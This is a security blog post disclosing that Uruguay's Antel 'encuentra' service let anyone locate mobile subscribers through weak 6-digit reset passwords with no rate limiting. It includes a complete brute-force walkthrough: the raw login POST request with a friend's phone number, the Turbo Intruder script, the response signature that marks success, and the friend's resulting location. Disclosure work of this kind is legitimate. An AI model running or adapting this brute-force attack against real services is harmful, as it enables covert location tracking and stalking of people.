Antel has been exposing the exact location from millions of users for at least 13 years!

Santiago Hernandez
strike.sh
Published in
8 min readApr 23, 2021

Hello network, how are you doing? I hope well!

As part of what we do at Strike, we usually explore the web for free and just for the sake of helping others and the community.

A couple of days ago I was browsing on Instagram and saw a publication of a person who had lost his cell phone.

Which made me wonder if beyond the classic options we know (Find My Device on Android or Find My on iPhone) there is any other way to know the location of a phone.

Many of us have seen in movies how mobile phone operators in some cases can approximate the location of a phone by triangulating the signal with their antennas, this approximation, depending on the data obtained and the location of the antennas, can be very precise.

Graphic sample of the signal triangulation from a mobile device

This made me think, can Antel do this? Maybe yes.

What is Antel?

For those of you who are unaware, Antel is Uruguay’s state telecommunications company. At first Antel had a monopoly on local and international calls in Uruguay. Currently, it only has a monopoly on national fixed telephony and also on cable internet connections.

What we care the most, is that although not a monopoly, the state’s telecommunications company has a carrier (Ancel) competing against Movistar (Telefonica) and Claro. It is important to highlight this, because Ancel is the one that has the most users in Uruguay, having more than 2 millions of users.

Back to our discovery

Doing some research, and to my surprise, I came across the following site
http://www.encuentra.antel.com.uy.

The impression it gives me, is that it is a forgotten service within the Antel internal systems. We notice how the presentation looks old, the header plugin no longer works and in the footer you can read the date 2008, which seems to be the last time this service was updated.

To put ourselves in the context of 2008, a few months ago, the first iPhone had come out. At that time, the internet on mobile phones was very precarious and was not accessible to everyone. This is where this service perhaps made sense.

I was able to get the following screenshot which explains how this service could have been useful back then:

Screenshot of the text published in http://www.encuentra.antel.com.uy/Twiga/jsp/ancel/FAQ.html

Undoubtedly a very interesting service for the time! I did not have the opportunity to use it, but perhaps some of you had the chance. I don’t know for sure how this project went, if someone uses it to this day, or if it was just an innovative idea that was forgotten, but from what we see it still stands in some way.

When trying to enter, it asks us for a phone number and a password.

As I do not know what my password is in this service, or if there is a general password for all Antel services, I go directly to “Have forgotten your password?”.

When you enter your number in the box and request a new password, you receive the following text message:

It is important to highlight that, at this point, anyone who has our telephone number can request the password to be renewed from the web. It should also be noted that its complexity is very weak and in this case, all possible combinations are made up of 6-digit numbers. So the possible passwords for a user are within this range [000000–999999].

Getting deeper in the application, the following GIF shows how the flow works to see where a person is. There are many options available, we can search for a friend, a nearby place of interest, etc.

Now, we are going to focus on the flow that tells us where am I (or the alleged “Yo”).

After selecting “Find” an error occurs on the frontend, but if we go to “Search for points of interest”, we can see that our location has already been found.

We can see that we already have our result:

Locations given with the Antel service.

If we compare my real location measured by GPS (blue circumference) and my triangulated location by Antel (yellow rectangle), we can see that it is in fact very accurate.

Location comparison between GPS service and signal triangulation

Now that we understand how it works, I wonder:

How can I find out the location of someone other than ME? Can this system be circumvented?

The answer is: YES.

We have to “trick” the system to access with someone else’s credentials.

We already know that to log in we need a phone number and an autogenerated password which is very weak.

Analyzing the query sent by the web, we see how it travels in a POST request. Our phone number and password are in the body of the message in the msisdn and password parameters respectively.

Screenshot of the query capture at login time.

Regarding the answer, we have two possible scenarios:

  • When we match the correct password, the answer is 302.
Screenshot of the response upon successful login.

When the password that we pass in the parameter is wrong, the answer is 200 and this reloads the initial page. This has a Content-Length: 7249, information that we will use later.

Screenshot of the response at the moment of failing to log in.

We can already start to think that we need to find a favorable case out of the million possible cases. The probability of this happening from a single hit is very low.

But what if we make a million inquiries? Our probability is 100%. In order to exploit this idea, we need that the server that responds to us does not have a configured rate limit.

When testing if the server rejects the queries at some point, I came to the conclusion that we have no rate limit or velocity check at all, so we can try a brute force attack against the password parameter in the query.

For this case I am going to use BurpSuite + Turbo Intruder.

This is the query that will be our template, and for this example, I am going to use a friend’s number to find out where she is right now. %s will be our variable, where we are going to put our range of values.

POST /Twiga/WebServer HTTP/1.1
Host: www.encuentra.antel.com.uy
User-Agent: Mozilla/5.0 (X11; Linux x86_64; rv:78.0) Gecko/20100101 Firefox/78.0
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,*/*;q=0.8
Accept-Language: en-US,en;q=0.5
Accept-Encoding: gzip, deflate
Content-Type: application/x-www-form-urlencoded
Content-Length: 106
Origin: http://www.encuentra.antel.com.uy
Connection: close
Referer: http://www.encuentra.antel.com.uy/
Cookie: JSESSIONID=A02A997E0D40B01DE491B999D210EEA6
Upgrade-Insecure-Requests: 1
twigaAction=loginUser&serviceName=FAF+ANCEL&languageCode=es&msisdn=092041767&password=%s&Submit=Entrar

With the following script, we configure Turbo Intruder to use all values from 000000 to 999999 and these will be one by one exchanged in the above query.

def queueRequests(target, wordlists):
engine = RequestEngine(endpoint=target.endpoint,
concurrentConnections=80,
requestsPerConnection=50,
pipeline=False
)
for number in range(000000,999999):
engine.queue(target.req, str(number))
def handleResponse(req, interesting):
table.add(req)

In the following image, we see how the attack is in process and all the queries are being registered in our table:

Screenshot of BurpSuite + Turbo Intruder.

To filter the answers we have in the table, we can edit the script and add a flag so that only the answer we need appears (the one with the valid password).

def queueRequests(target, wordlists):
engine = RequestEngine(endpoint=target.endpoint,
concurrentConnections=80,
requestsPerConnection=50,
pipeline=False
)
for number in range(000000,999999):
engine.queue(target.req, str(number))
def handleResponse(req, interesting):
if not ‘Content-Length: 7249’ in req.response:
table.add(req)

Now we just have to wait… in my case it took 15 minutes.

In the following image we can see the 302 filtered of our answers and there is a number: The one we were looking for, 330573.

Screenshot of BurpSuite + Turbo Intruder at the moment of finding the right number.

We can repeat the flow on the web as if we were the legitimate user and find the location of this person.

Location of the victim.

Indeed, our friend was in that area!

Possibly after posting this blog, Antel will solve this at least 13-year-old privacy issue in a couple of minutes. Perhaps, even this is the end of the once useful service.

Now it only remains to wonder if in all this time I was the first person to find the service or if there is someone else who is aware and exploits it. Someone that could have been since 2008 looking for anyone, analyzing our movements and selling our information to third parties.

Maybe it was that time you said “how did you know I was here?”

This is a very serious issue that compromises our privacy, and like this one, there are thousands!

Our data is worth a lot, we have to be aware, take care of it and above all, demand that the companies that handle it take care of it.

It is not the first time that I have tried to report these errors to state entities. There is no one who picks up a phone personally, there are only mailboxes (contacto@cert.uy, csirt@csirt-antel.com.uy, etc) that seem to end in /dev/null (a black hole), nobody ever responds. Although sometimes with a little luck these errors “fix themselves” without giving notice or even a simple “thank you” email.

The reason for this blog, is to raise awareness among users and motivate those who are starting in the world of computer security, there are many more vulnerabilities to find!

Thank you very much for reading and getting up to this point.

Cheers!

PS: If you want to get your enterprise assessed and find the vulnerabilities before the bad guys do, feel free to reach out to me directly.

Also, if you want to follow us at Strike, it help as a lot.

Thanks again 🙂

--

--